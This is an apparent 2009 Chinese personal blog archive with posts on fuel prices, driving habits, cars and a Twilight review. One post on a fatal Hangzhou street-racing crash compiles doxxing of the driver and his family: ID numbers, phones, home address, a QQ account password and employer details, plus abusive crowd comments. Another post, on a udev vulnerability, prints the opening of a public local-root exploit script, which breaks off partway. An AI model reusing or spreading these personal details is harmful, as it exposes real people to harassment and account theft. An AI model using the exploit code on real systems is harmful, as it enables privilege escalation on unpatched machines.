2009年5月15日星期五

超英赶美接轨国际 中国成品油价高美国2元

http://auto.sohu.com/20090514/n263950221.shtml

超英赶美接轨国际 中国成品油价高美国2元
2009年05月14日07:58
[我来说两句(1670)] [字号:大 中 小]

来源:海峡都市报 作者:昕颖

  超英赶美,从上个世纪50年代末起就是我们的一个梦想。今天,我们猛然间发觉:成品油价格如果换算成美元已经超过美国了。

  日前,国家发改委公布国内成品油调价机制,有关负责人在回答记者提问时说:与中东产油国和美国部分城市的价格相比,我国油价水平要高一些。


  实际上,中国成品油价格已高于美国2元左右。从美国能源管理局网站上,我们非常清楚地找出目前美国的官方油价―――汽油价格1加仑200美分左右,1加仑相当于3.785升,若按照美元和人民币1比6.83的比价折算,那么美国汽油价格大概每升相当于人民币3.6元,而且是含税价。现在的97号汽油最高5.9元人民币,即使按每升高出美国2元人民币计算,也已经高出30%以上。

  其实长久以来,中国的油价一直是有车一族最关心的问题之一,而从前几年开始较大幅度地对油价实行调整以及和国际接轨后,关于油价"涨快跌慢"的讨论声此起彼伏。

  油价的涨跌涉及中国大量车友的切身利益,跌价当然得到实惠,涨价当然心怀不满,这都是人之常情可以理解。而油价的涨跌背后也确实是有复杂的综合因素,但是保持油价稳定,实现真正意义上的和国际接轨,不要每次调整油价都引来讨伐声一片也应该是目前的首重。

2009年5月11日星期一

杭州飙车撞车事件相关信息

杭州飙车撞车事件相关信息

在google搜索此肇事车辆信息 608Z0
可以找到1508个网页,信息很多。baidu可以找到1106个网页,可能给和谐掉一部分,不如google的搜索全面。

把马路当成F1赛道 富家子弟文二西路飙车

昨日20:27泽文何来电:文二西路西城广场往东一里路,有几个年轻人在飙车,一辆红色赛车,把一个路人撞死了。这个路人也是个小伙子,胳臂压得很难看,脑浆流了一地,刚刚120把人接走了,交警到了。现在围观的人很多,都在骂这个肇事者,他态度很差的,撞死人还不当一回事。

20:45林曦来电:文二西路紫桂花园门口,一辆改装的红色三菱跑车,撞死一个行人。
行人先被车头撞了,然后整个人飞起来撞到挡风玻璃,再飞出去。三菱车头凹了很大一块,挡风玻璃全碎了。人已经送走了,我拍了照片。

南都德加公寓的保安胡师傅说,出事地点在文二西路紫桂花园和德加公寓两个小区门之间的斑马线上。

交警听说胡师傅目击了车祸过程,带他到了斑马线旁,胡师傅手指斑马线,说开了――

晚上八点零几分样子,'轰轰轰'地跑来三辆车,都是很低很矮的跑车,速度很快很快。

有两辆车样子是差不多的,但是啥车,我没看清。还有一辆就是撞人的红色三菱。

被撞的那个小伙子当时是在过斑马线,不过当时我没看清是男是女。

人一下撞飞了起来,飞得很高很高,有那么高(胡师傅指了指德加公寓大门的门楣,门楣高约五米多)!人在空中翻了跟头,掉下来了。

一位紫桂花园的保安接着说:"开始我哪里以为会是人啊,撞飞得太高了!我以为是撞了车,保险杠什么的飞起来了呢!人掉下来后,离斑马线已经有20多米远了吧,当时刚好两个姑娘儿路过,一转脸,吓得抱头蹲了下来。"

一位黑衣女士说

夜里开开嘛,天还这么早,怎么好开的……

围观的路人纷纷指责,100码?150码都有了吧?不然人怎么可能撞得那么远?

撞人的红色三菱改装跑车,前牌照斜挂在一边,副驾驶位置的前挡风玻璃碎穿一个洞。

肇事司机是个小伙子,坐在旁边的警车里。他穿着POLO
T恤,右手戴一款运动型手表,右手臂上有一道弧形、约10厘米长的旧伤疤;他双手不停地盖着脸,不停地挤着前额,揉
着眼睛,偶尔通过手指缝看着外面的动静。

一个打扮时髦、脖上戴着粗粗金链子的小伙子,在三菱跑车旁打着电话,声音不大,很平静:"小×撞死人了,过来看看,文二西路这里。"

10多分钟后,陆续来了七八个打扮时髦的小伙子,有三四个小伙子或牵、或揽着漂亮女孩。他们慢慢围到一个40多岁、穿黑色套裙的女士周围。

这个中年女士面色焦虑地看路人们的指责,当看到有相机镜头对准坐在警车里的小伙子时,她上前打圆场说:"他年纪还小,你们手下留点情……"

但责骂的声音太多,黑衣女士的声音很快弱了下来。她抱肩退到旁边,任由别人议论。

七八个小伙子也跟着她走到一边,黑衣女士用杭州话对他们说话,大意是:夜里开开嘛,天还这么早,怎么好开的……

小伙子们在一旁出着主意:赶紧找找人,看看有啥路子,到底该怎么处理……

黑衣女士躲到了一边,不断按着号码,捂着嘴小声说着――直到三菱跑车被拖走,警车也开走了,她的电话还没打完,算了下时间,至少有40分钟。

闻讯赶来的七八个小伙子,一直等在旁边,拿出烟,各自点上火,大口吐着烟圈。

据查,这辆红色三菱车的车主是位女性,40多岁。

肇事三菱车上印着一家汽车俱乐部的网址

网站中说:这里聚集了国内顶尖的飘移赛车手

肇事的三菱跑车上印着两个网站的域名――www.fdschina.com和http://www.2008speed.com,尾灯处还印着"玩车坊"三个字。

离三菱跑车不远,停着几辆崭新的豪华车――英菲尼迪、保时捷、法拉利。

其中,保时捷跑车的车身侧面印着FDS CLUB――在肇事的三菱车引擎盖上也印着。

在FDS汽车俱乐部的网站首页上,最引人注目的是几段关于"激情、速度、渴望"的飙车视频画面:既有在城市里的,也有在野外空旷处的,具体地点看不出来,但取景地点肯定
不是杭州。

公司简介是这么介绍的:"极速飘移运动"。

服务项目的第一条便是:"挑战汽车飘移,体验F1赛道。""这里聚集了国内顶尖的飘移赛车手。他们作为中国飘移运动的第一批开拓者,在飘移运动的实践中,第一次提出了飘
移的核心内涵'弯道精神':永不放弃,超越自我。如果你也想和他们一样亲历赛场,挑战自我,那么FDS帮你实现梦想!"

在它的视频专栏里,只有一段视频,题目叫《公路狂飙之997T VS
SLR》,上面是这样介绍的:"当保时捷997T遇上迈凯轮SLR时,会毫不犹豫地全油门追上去!"

这段视频,可能是坐在保时捷997T里的人拍摄的,拍的是前面一辆银灰色奔驰迈凯轮SLR跑车的极速飙车场面:

视频开头,一辆奔驰跑车在前面开,开得并不快。随即出现一个年轻女子的声音:哦哦哦,大奔!此时,奔驰车可能发现后面有一辆保时捷997T跟着,便突然加速,在城市车流
中,像泥鳅一样,钻来钻去,极速前进,一会儿在地面,一会儿在高架上,试图将保时捷甩掉。而保时捷紧紧咬住对方不放。

视频长度5分钟,里面出现很多路牌,但因为是晚上,加上车速太快,看不清楚路牌上的字,不过里面出现的出租车颜色是绿色的,不知道是不是在杭州拍的。

网站还设有飘移专栏、改装成果等栏目。

手机撞烂了

截至发稿

遇难小伙子的家人还没找到
20:23,被撞的小伙子被120送进省立同德医院。

医院的陈医师说,送来时,他身边没有亲戚、朋友陪同;小伙子头部、胸部严重外伤,已经没有呼吸、心跳了,"抢救了半小时,宣布不治。"

医生从小伙子身上找到他的杭州市民卡,小伙子叫谭卓,1984年生,家庭住址在滨江。

医生说,本想从小伙子的手机电话簿里找到他的朋友、家人,但手机已经撞烂了,没法找(护士说,手机已经看不出是什么牌子了,有点像诺基亚,比较高档的款式)。

一位护士说,后来医院来了两个小伙子,说是谭卓的朋友,"我刮到一句,他们好像说看到车祸现场了,想想同德是最近的医院,就赶来了。他们看了一会,就走了。"

急救室门口,三个小伙子正在打电话,他们穿着朴素,急得满脸是汗,跺着脚:"谭卓出事了,大事,是车祸,他公司的领导电话是多少,他家里有没有电话的?"

看来对方知之甚少。小伙子挂了电话,又从包里掏出一个电话本,焦急地翻着。


死者谭卓很可能是在去看电影的路上遇难的

同德医院的护士在谭卓身上找到一张电影票――西城广场UME国际影城的票子,电影是《南京!南京!》,票价30元,时间是昨晚9:06。

从车祸发生地点,以及送进同德医院的时间上看,谭卓当时很可能是去电影院的路上。(见习记者 任烨 摄 )

肇事的浙A.608Z0早已上过报纸
浙江在线杭州200812月1日讯(见习记者 童俊)
晚上7时许,有网友打进本网热线(0571―85310961)称,建国北路乐购超市附近有辆改装过的跑车竟然在路面上"嚣张"地玩起了漂移。

记者赶到现场的时候,这辆"嚣张"的跑车和车主已经被交警带走了。在宝善桥建国路口公交车站候车的宋女士心有余悸地说,晚上7时15分左右,随着一阵刺耳的马达声,一辆红色的三菱跑车呼啸着从体育场路向建国北路开过来,车速很快,车尾还冒着白色的烟。

开到乐购超市门口附近时,这辆车竟然"嚣张"地在路面上玩起了漂移,原地转了一圈,在离公交车站台只有十几公分的时候才停下来。

车内两个穿着时髦的20多岁的年轻男子得意地朝着在公交站台上候车的一个小伙子打了声招呼,就在三人准备开车离开时,恰好巡逻的交警路过,这辆涉嫌改装的"牛车"被拦下了。

这时站台上的人们都围了过去,纷纷指责"嚣张"的车主,一位70多岁的老大爷气得直哆嗦,现在的年轻人怎么这样开车,站台上那么多人,要是这辆车突然冲上站台伤到人怎么办。

记者随后在车辆违章记录里查询到,这辆车牌为浙A.608Z0的跑车在2008年11月27日曾在艮山西路与机场路口违反禁止标线指示。
下城交警大队表示,改装车危害比较大,交警部门也是重点监控的。如果该车涉嫌超速就按照超速等违规行为处理。如果涉嫌改装,可以当场改回来的就责令当场改回,如果比较复杂,就把改装车拉回交警大队由专业部门来处理

建国北路乐购超市附近有辆改装过的跑车竟然在路面上"嚣张"地玩起了漂移。

赶到现场的时候,这辆"嚣张"的跑车和车主已经被交警带走了。在宝善桥建国路口公交车站候车的宋女士心有余悸地说,晚上7时15分左右,随着一阵刺耳的马达声,一辆红色的三菱跑车呼啸着从体育场路向建国北路开过来,车速很快,车尾还冒着白色的烟。

开到乐购超市门口附近时,这辆车竟然"嚣张"地在路面上玩起了漂移,原地转了一圈,在离公交车站台只有十几公分的时候才停下来。

车内两个穿着时髦的20多岁的年轻男子得意地朝着在公交站台上候车的一个小伙子打了声招呼,就在三人准备开车离开时,恰好巡逻的交警路过,这辆涉嫌改装的"牛车"被拦下了。

这时站台上的人们都围了过去,纷纷指责"嚣张"的车主,一位70多岁的老大爷气得直哆嗦,现在的年轻人怎么这样开车,站台上那么多人,要是这辆车突然冲上站台伤到人怎么办。

记者随后在车辆违章记录里查询到,这辆车牌为浙A.608Z0的跑车在2008年11月27日曾在艮山西路与机场路口违反禁止标线指示。
下城交警大队表示,改装车危害比较大,交警部门也是重点监控的。如果该车涉嫌超速就按照超速等违规行为处理。如果涉嫌改装,可以当场改回来的就责令当场改回,如果比较复杂,就把改装车拉回交警大队由专业部门来处理。

杭州富家子弟胡斌飚车撞死大学生,取保后上网称:你们这帮穷鬼,老子撞都撞了,你们能怎么样
Saturday, May 9th, 2009

肇事者姓名:胡斌
肇事者身份:某院校学生,杭州江干区人

杭州师范大学体育系大二的学生

浙A608Z0号兰瑟翼豪陆神牌小型轿车是他母亲陆某给他买的车

浙A608Z0

肇事者姓名:胡斌 肇事者身份:杭州师范学院体育系大二,杭州江干区人 QQ:181199732 密码:608Z0 车型:EVO 9代
车牌号浙A.608Z0车主:陆红英 手机号:13634162820 身份证号:330104198901202333 父亲:胡树明
另外一个手机号码:13958118382 宅电:85721339 肇事者姓名:胡斌 肇事者身份:杭州师范学院体育系大二,杭州江干区人
QQ:181199732 密码:608Z0 车型:EVO 9代 车牌号浙A.608Z0车主:陆红英 手机号:13634162820
身份证号:330104198901202333 父亲:胡树明 职业:服装业 用车:jeep牧马人 拍照:浙A290P8

肇事者身份:陈经纶体校中专学生,后挂靠杭州师范学院读大专(目前是毕业前的校外实习期,那种大二的说法是错误的),杭州江干区人,父母是在四季青(摊位号还没查到)卖服装的暴发户!!


富家子弟把城市道路当F1赛道终酿惨祸(图)

核心提示:7日,几个年轻人在城市道路上飙车,其中的一辆红色赛车撞死一名路人。围观者称,肇事小伙态度很差,撞死人还不当一回事。肇事的三菱跑车上印着两个网站,网站中称"这里聚集了国内顶尖的飘移赛车手"。


肇事司机坐在旁边的警车里。他双手不停地盖着脸,不停地挤着前额,揉着眼睛,偶尔露出手指缝,看着外面的动静。

肇事现场模拟图

肇事的三菱跑车

急救车赶到现场抢救

出事后肇事者同伴在街头说笑

浙江在线5月8日报道 昨 日20:27泽文何来电:文二西路西城广场往东一里路,有几个年轻人在飙车,一辆红色赛车,把一个路人撞死了。这个路人也是个小伙子,胳臂压得很难看,脑
浆流了一地,刚刚120把人接走了,交警到了。现在围观的人很多,都在骂这个肇事者,他态度很差的,撞死人还不当一回事。

20:45林曦来电:文二西路紫桂花园门口,一辆改装的红色三菱跑车,撞死一个行人。行人先被车头撞了,然后整个人飞起来撞到挡风玻璃,再飞出去。三菱车头凹了很大一块,挡风玻璃全碎了。人已经送走了,我拍了照片。

南都德加公寓的保安胡师傅说,出事地点在文二西路紫桂花园和德加公寓两个小区门之间的斑马线上。

交警听说胡师傅目击了车祸过程,带他到了斑马线旁,胡师傅手指斑马线,说开了――

晚上八点零几分样子,'轰轰轰'地跑来三辆车,都是很低很矮的跑车,速度很快很快。

有两辆车样子是差不多的,但是啥车,我没看清。还有一辆就是撞人的红色三菱。

被撞的那个小伙子当时是在过斑马线,不过当时我没看清是男是女。

人一下撞飞了起来,飞得很高很高,有那么高(胡师傅指了指德加公寓大门的门楣,门楣高约五米多)!人在空中翻了跟头,掉下来了。

一位紫桂花园的保安接着说:"开始我哪里以为会是人啊,撞飞得太高了!我以为是撞了车,保险杠什么的飞起来了呢!人掉下来后,离斑马线已经有20多米远了吧,当时刚好两个姑娘儿路过,一转脸,吓得抱头蹲了下来。"

一位黑衣女士说

夜里开开嘛,天还这么早,怎么好开的……

围观的路人纷纷指责,100码?150码都有了吧?不然人怎么可能撞得那么远?

撞人的红色三菱改装跑车,前牌照斜挂在一边,副驾驶位置的前挡风玻璃碎穿一个洞。

肇事司机是个小伙子,坐在旁边的警车里。他穿着POLO
T恤,右手戴一款运动型手表,右手臂上有一道弧形、约10厘米长的旧伤疤;他双手不停地盖着脸,不停地挤着前额,揉着眼睛,偶尔通过手指缝看着外面的动静。

一个打扮时髦、脖上戴着粗粗金链子的小伙子,在三菱跑车旁打着电话,声音不大,很平静:"小×撞死人了,过来看看,文二西路这里。"

10多分钟后,陆续来了七八个打扮时髦的小伙子,有三四个小伙子或牵、或揽着漂亮女孩。他们慢慢围到一个40多岁、穿黑色套裙的女士周围。

这个中年女士面色焦虑地看路人们的指责,当看到有相机镜头对准坐在警车里的小伙子时,她上前打圆场说:"他年纪还小,你们手下留点情……"

但责骂的声音太多,黑衣女士的声音很快弱了下来。她抱肩退到旁边,任由别人议论。

七八个小伙子也跟着她走到一边,黑衣女士用杭州话对他们说话,大意是:夜里开开嘛,天还这么早,怎么好开的……

小伙子们在一旁出着主意:赶紧找找人,看看有啥路子,到底该怎么处理……

黑衣女士躲到了一边,不断按着号码,捂着嘴小声说着――直到三菱跑车被拖走,警车也开走了,她的电话还没打完,算了下时间,至少有40分钟。

闻讯赶来的七八个小伙子,一直等在旁边,拿出烟,各自点上火,大口吐着烟圈。

据查,这辆红色三菱车的车主是位女性,40多岁。

遇难者谭卓简介:

湖南宁乡人

2002年入学浙江大学玉泉校区信电系通信工程03班

2006年毕业,进入杭州依赛通信有限公司工作

相关人肉搜索信息:

网易天津网友(218.67.*.*) 的原贴: 1 肇事者电话号码13634162820,已验证,名字叫胡斌
浙A608Z0车主是陆红英,应该就是肇事司机的母亲,也应该就是那个黑衣女子,住杭州市江干区濮家新村29幛2单元5**室
肇事者电话号码13634162820,已验证,名字叫胡斌
很吊!!!
他说欢迎大家来聊天
网易广东广州荔湾网友(218.19.*.*) 的原贴: 5
受害人是湖南人 浙江大学高材生
84年的 家中的独子 今年打算结婚的
凭什么就这样被人剥夺生存的权利
杭州宝康网络通讯工程有限公司 法人陆红英
陆红英和你那人渣的儿子胡斌
肇事者是杭州师范学院 体育专业的胡斌 一个有钱的富二代
受害者是浙江大学通信专业的毕业生
一个人渣杀害了一个人才
公司名称: 杭州宝康网络通讯工程有限公司
法人代表:
陆红英
身份证号码:330125660920402
注册资金:
地址: 西湖区文苑路康乐新村6幢1单元101室
电话: 0571-88986583
此人扣扣:一八一一九九七三二 空间密码 608Z0

网易北京网友(123.120.*.*) 的原贴: 2 顶上去
网易广东深圳网友(116.77.*.*) 的原贴: 3 肇事者电话号码13634162820,已验证,名字叫胡斌
很吊!!!
他说欢迎大家来聊天
受害人是湖南人 浙江大学高材生
84年的 家中的独子 今年打算结婚的
凭什么就这样被人剥夺生存的权利
杭州宝康网络通讯工程有限公司 法人陆红英
陆红英和你那人渣的儿子胡斌
肇事者是杭州师范学院 体育专业的胡斌 一个有钱的富二代
受害者是浙江大学通信专业的毕业生
一个人渣杀害了一个人才
公司名称: 杭州宝康网络通讯工程有限公司
法人代表:
陆红英
身份证号码:330125660920402
注册资金:
地址: 西湖区文苑路康乐新村6幢1单元101室
电话: 0571-88986583

网易广东深圳网友(116.77.*.*) 的原贴: 4 肇事者电话号码13634162820,已验证,名字叫胡斌
很吊!!!
他说欢迎大家来聊天
受害人是湖南人 浙江大学高材生
84年的 家中的独子 今年打算结婚的
凭什么就这样被人剥夺生存的权利
杭州宝康网络通讯工程有限公司 法人陆红英
陆红英和你那人渣的儿子胡斌
肇事者是杭州师范学院 体育专业的胡斌 一个有钱的富二代
受害者是浙江大学通信专业的毕业生
一个人渣杀害了一个人才
公司名称: 杭州宝康网络通讯工程有限公司
法人代表:
陆红英
身份证号码:330125660920402
注册资金:
地址: 西湖区文苑路康乐新村6幢1单元101室
电话: 0571-88986583

网易浙江杭州网友(218.108.*.*) 的原贴: 1
此人有逆行,严重超速飚车,撞死人,又有案底,
现在被取保候审了,又在19楼网上大放厥词:
丁丁EVO
不动产:单身公寓
19楼金币: 12 个
威望: 13 点
#1只看该作者
发表于 2009-5-8 15:58 资料 个人空间 短消息 加为好友
你们这帮穷鬼,老子撞都撞了,你们能怎么样
叫吧叫吧。。。。老子现在照样上网。。。。
嫉妒老子有钱啊,你们这帮没钱的,买的起车不?
这种人渣不严办,天理何在!!

网易浙江杭州网友(60.191.*.*) 的原贴: 2
顶死这厮

网易江苏南京网友(58.213.*.*) 的原贴: 3
顶死一楼!

网易河北石家庄网友(60.0.*.*) 的原贴: 4
这说明已经有人借机发财了!

网易福建厦门网友(120.32.*.*) 的原贴: 5
来吧 让人肉更猛烈些吧
看那些狗比律湿再叫嚣取缔人肉

网易北京海淀网友(123.112.*.*) 的原贴: 6
开个破三菱跑车还是改装的就敢说有钱?!!!SB太猖獗了!丫没见过有钱人把?搜出丫的活活抽死

网易浙江杭州网友 ip:125.120.*.*: 2009-05-08 12:07:05 发表
我看你们会怎么处理这个事情….
我是学法律的…如果严重的话..他的行为可以构成危害公共安全罪而不仅仅是交通肇事罪…
看你们依法治国是怎么治的….

网易浙江湖州网友 ip:125.125.*.*: 2009-05-08 16:15:52 发表
钱权交易会出现在这次事故中么?
大家一起关注杭州的交警如何处理这次事件

网易浙江杭州网友 ip:60.12.*.*: 2009-05-08 16:26:58 发表
学弟一路走好。天堂没有飚车的。

网易浙江杭州网友(122.224.*.*) 的原贴: 1
受害人是湖南人 浙江大学高材生
84年的 家中的独子 今年打算结婚的
凭什么就这样被人剥夺生存的权利
陆红英和你那人渣的儿子胡斌
杭州人民都盯着你们呢 你们要得到应有的惩罚
别耍花招 不然口水也要淹死你们

网易浙江杭州网友(122.224.*.*) 的原贴: 4
肇事者是杭州师范学院 体育专业的胡斌 一个有钱的富二代
受害者是浙江大学通信专业的毕业生
一个人渣杀害了一个人才

网易上海网友(219.233.*.*) 的原贴: 9
贱婢 你说你儿子还小 难道死者就大了 草拟么了隔壁 20多岁的年华 这事没完 一直人肉这LJ

网易浙江杭州网友(122.224.*.*) 的原贴: 13
体育专业 想想也知道不是考进去的
这种人呢向来蛮横
可怜了谭卓 你的父母和未婚妻将是多么痛苦

网易浙江湖州网友 ip:125.125.*.*: 2009-05-08 18:43:48 发表
这个车子我见过
在杭州东山弄的路口,因为有朋友拉了一把闪得快点了,不然我可能比谭卓走得更早点儿
那时候是大白天,中午12点左右,08年11月份的时候

这是肇事者朋友,名字叫"翁振华",车号浙A8X909
http://club.autohome.com.cn/blog/129628/,里面有着瘪三的照片。。


15644181 �狼啸月 编辑于:09-05-09 15:49


肇事者姓名:胡斌
肇事者身份:杭州师范学院体育系大二,杭州江干区人
身份证: 330104198901202333
手机:13634162820
QQ:181199732 密码:608Z0
车型:EVO 9代 车牌号浙A.608Z0车主:陆红英
车主:陆红英(肇事司机老娘)
住址:濮家新村29幢2单元501室
手机:13958118382
宅电:85721339
身份证号:330104198901202333
手机号:13634162820
肇事车主父亲胡树明
父亲:胡树明
职业:服装业
用车:jeep牧马人
拍照:浙A290P8
住址:濮家新村29幢2单元5楼


Tags: 13634162820, 13958118382, 181199732, 330104198901202333, 608Z0,
88986583, A290P8, A608Z0, EVO, 丁丁, 宝康, 宝康网络通讯工程, 富二代, 富家子弟, 撞死, 文二西路,
杭州, 杭州宝康, 杭州宝康网络通讯工程有限公司, 杭州师范大学, 杭州江干区, 浙A290P8, 浙A608Z0,
濮家新村29幢2单元501室, 濮家新村29幢2单元5楼, 胡斌, 胡树明, 西湖区文苑路康乐新村, 陆红英, 飚车
http://ricowong.net/?tag=608z0

杭州飙车撞人事件

http://js.pp.sohu.com/ppp/mv/swf200811281417/Main.swf?id=2661959&type=Singleton&domain=out&skin=4&hostname=

气的主持人大骂起来,在视频的后半段,比较过瘾

闲来阅读,暮光之城,一本很棒的小说

晚上做一系列的梦,很奇怪,很有故事性的梦境。早上起来,还有些梦境的影子,还没有完全清醒,就被小善宝一泡尿给尿清醒了。

大雨下了两天,早上起了雾,透着秋天的凉意。感觉还是累,很想睡一觉,但还有许多事情等着去做,把验收单子的复印件发过去,把移动的安全评估报告赶紧写出来。
累,想再睡一觉的感觉非常强烈,啥事都懒的去做,前几天过度疲劳了,昨天休息了一天还是没有恢复。这就是IT民工的生活,不断地透支着身体,每天体会着持续不断的疲累,永远没有完成的工作,永远也无法满足的客户需求。
周日在大雨中,终于可以暂时一下。没去睡懒觉。
晚上看了《暮光之城-新月》,没想到翻译的这么好,虽然有些错误的地方,但仍然瑕不掩瑜,是我最近看到的最好的翻译作品。语句比较自然。只是有些地方,需要经常接触英语的人才能懂的其中的竟境,和咱们中国人的想法还不一样,一般人是很难理解那句话,那种心理是怎么出现的。这也是没办法的,翻译也很难这种处理这种情况吧。
《暮光之城》是一系列书,据说知名度仅次于《哈雷波特》,非常适合青少处阅读,有趣、幻想、惊险、少年情谊、纠缠的爱情,写的是一个小镇的少女,与吸血鬼的奇异爱情故事,语句简短有力,却又充满着爱恨情仇,处处悬念,吊足人的味口,让人忍不住一口气读完。
爱德华的离开,让贝拉彻底崩溃,哀莫大于心死,和电影里面的僵尸一般,没有心跳,没有思考,没有时间,只有麻木,和无尽的心痛。幸好雅各布及时地走近贝拉的生活,给她修摩托车,给他灿烂的大笑,不断的快乐。没想到雅各布却变成狼人,彻底变成另外一个人。就在贝拉在爱情的痛苦中折磨,有吸血鬼的追杀中,承受着巨大的压力,一个人跳崖寻求刺激时,却让爱德华的妹妹,爱丽杰通过预见能力看到了,以为她在自杀。在一系列的误会中,爱德华以为心上人已经死去,他也寻求各种的机会自杀。幸好贝拉及时出现,才最终和爱德华得以相见。
最后,还是留下了许多疑问。
贝拉如果选择和爱德华在一起,最终会变成吸血鬼吗?雅各布的愤怒,最后会有什么故事呢?贝拉如果没有变成吸血鬼,她的美丽如何持续,她与爱德华的爱情还会一如继往吗?另外,意大利的吸血鬼皇室,会放弃追杀吗?后面肯定还会有大量的精彩故事。我都等不及,想到网上找原版来读了。作者的官方网站:http://www.stepheniemeyer.com/,
原文书的购买地址 http://www.amazon.com/gp/product/0316160202?ie=UTF8&tag=stepheniemeye-20&linkCode=as2&camp=1789&creative=9325&creativeASIN=0316160202
网上的试读章节 http://www.stepheniemeyer.com/pdf/eclipse_chapter1.pdf
Breaking Dawn (The Twilight Saga, Book 4)
by Stephenie Meyer
3.6 out of 5 stars (4,428) $12.64

New Moon (The Twilight Saga, Book 2)
by Stephenie Meyer
4.3 out of 5 stars (1,836) $6.04

Twilight (The Twilight Saga, Book 1)
by Stephenie Meyer
4.2 out of 5 stars (4,109) $6.04

The Host: A Novel
by Stephenie Meyer
4.2 out of 5 stars (1,047) $14.81

Twilight Soundtrack
~ Various Artists
4.3 out of 5 stars (490) $11.99

其实看这本小说前,我先在网上看到一部电影,也是类似的名字,打开一看,果然是这个系列,而且比电影再好看,更有趣,让人有更多的想像空间。阅读给人提供了更多的乐趣。
晚上一家子在灯下,小孩玩着自己的玩具,大人捧一本书阅读,感觉非常温馨,非常轻松。外面大雨瓢泼,屋内轻声笑语,温暖热闹,截然不同的两个世界。看着玩闹的孩子,看书的老婆,体会这其乐融融的幸福。

2009年5月2日星期六

udev漏洞

经过验证,我个人认为udev的漏洞是linux有史以来最危险的本地安全漏洞,通杀X86和X64架构下N个发行版的N个大版本和子版本,影响面相当大,互联网的血雨腥风即将到来。

这个漏洞对各大企业的安全人员发起挑战,我们的软件资产管理系统是否有足够的数据支撑我们做下面的事情?

1、给哪些系统打补丁?
2、哪些系统已经打上了补丁?
3、新上线的系统打了补丁了吗?如何发现?

几个主流发行版已经发布了新的udev程序以修复这个问题,不幸中的万幸是修复这个漏洞不需要重启,对业务系统的影响相对小了很多。


我已确认受影响系统:

RHEL 5.X x86和x64
Debian 4.x 5.x x86和x64


最后不得不说一句,各位看官的跳板机赶紧升级,此时此刻最危险的就是它。grsecurity帮我们规避了这次风险,即使没打补丁,黑客也无法利用此漏洞获得root权限,cool!看来非高压的关键业务系统部署高级安全策略还是值得的。

udev[11037]: segfault at 0 ip ac6b949b sp b7f7ae98 error 4 in
libc-2.5.so[ac68c000+13e000]
udev[11370]: segfault at 0 ip 9b80c49b sp b120c868 error 4 in
libc-2.5.so[9b7df000+13e000]

http://milw0rm.com/exploits/8478

#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15

2009年4月25日星期六

挫车问题的思考

手动档容易发生挫车,可以通过这样的方法解决:

1、快速踩下离合,切换档位,松离合时给油。要点在于油离配合要好。一般挫车较多发生在低速档,1,2,3档位,4档就不那么明显了。这样操作,可能会稍微损耗离合器片,但会保护发动机和车子的相互制动作用。

也可以在踩下离合,换档,此时加油,再松离合,停,半联动,完成换档。给油时轻点一下,提高转档到2000以上就可以了,没必要太高。

时速40以上时,尽量升到4档。不可长时间超过45。

2、离合使用,是快-停-慢的步骤

3、还有什么地方需要注意呢?

2009年4月23日星期四

2009年4月19日星期日

实用的国产车

少见的春雨,下了一天一夜,还没停歇的意思,有时哗哗地起劲地下着,一阵瀑雨,有时又不紧不急,敲在窗子上啪啪作响。

几个朋友问起来,开的啥车呀?我就开玩笑地说,奥迪A4L很接近啊。虽然是国产里面最好的,但还是有些羞愧,感觉没有达到足够的成功。有钱的成功人士,倒也不见的全开好车,我知道的几个千万级别的,开的只是几万块的捷达,但却绝对没有开国产的。国产意谓着啥呢?意谓着假劣伪冒,意谓着最便宜和最不靠谱。看到人家的神情,感觉象是,噢,开国产车呀,象是农村里发了点儿财,在门牙上贴了几个金光闪闪的金牙一般。

其实,抱着实用的精神,选择国产也没有坏处。一样地开,各方面,性能、舒适度,安全性,也差不多,甚至看一些车祸照片,安全性比价格更高的车,更是好上很多。车子就是个代步工具,周围的人,却花了更多的钱,去买那些一直用不到的功能,只是为了外表好看,满足自己的意淫。其实,现在的车子,就和若干年前的大哥大一样,早就失去了可以显摆的资本。任何有资格成为房奴的家庭,省出半个厕所
的钱,就能买个车了。再说,用手机、汽车或其它物质化的东西,去提高自己的身份,本身就是件多么幼稚可笑的事啊。
国产车有些小毛病,开不了多长时间,就成了修车师傅,成了汽车hacker。这并不是说反语,有点儿小毛病,是了解汽车的一个很好的途径,通过自己动手解决这些问题的过程,感觉很多乐趣,也学到了许多东西,让日子过的很充实。就象去了解病毒,了解网络攻击和防护,了解自我进化的程序,了解信息与现实的互动,了解眼前这个小小的东西,背后隐藏的力量,这一切都让人着迷,构成了生活最精彩的部分。

再者,现在的国际经济形势不好,可能形势会更加严峻,为什么不去多多支持中国的企业呢?
选择国产车,咱不后悔。

2009年4月13日星期一

安全驾驶的若干个习惯

开车是为了到达!
多开几年后你的车速会降下来。
超过别的车,不代表你的车比人家的好。
超过同级或高级车,不代表你的技术比别人高。
第一个从绿灯下蹿出去,不代表在下一个路口你可以不排队。
飙车和高速狂奔,不代表胆识过人。
遇拥堵时,老老实实排队不代表你比别人傻。
不断刷新自己速度记录的想法和做法是不明智的,控制车速是摆脱危险的最佳手段。
安全行车时间是最值得你骄傲和炫耀的。
很多事故本可避免,在于主动放弃了快速反应的时间;
尽量了解你的车,知道车不能干什么,你为难它,它就会难为你。
别把车的做主权交给修理厂,换不换零件你说了算。
自己动手是一种乐趣,自己紧的螺丝心里最踏实。
别过于依赖4S店,有些毛病他们也查不出来。
尽量少使用喇叭和大灯。
停车入位时把车头对着可以直接离开的方向。
停车妨碍了别人,车是会被划的。
永远不要以为你可以一脚刹车把车"定"住。
可能的话,带上想搭车的人。
不准备出远门别把油箱加满。
保持车辆内外清洁和车内通风,不要让车内外温差太大。
最好别在晚上洗车。
过积水路面慢点开,别溅着其他人。
遇到故障车,即使搭不上手也安慰一句。
遇着老人孩子和行动不便的人,示意他们先过,要微笑。
备胎要有气。
背影看上去不错的美女帅哥,驶过别回头看。
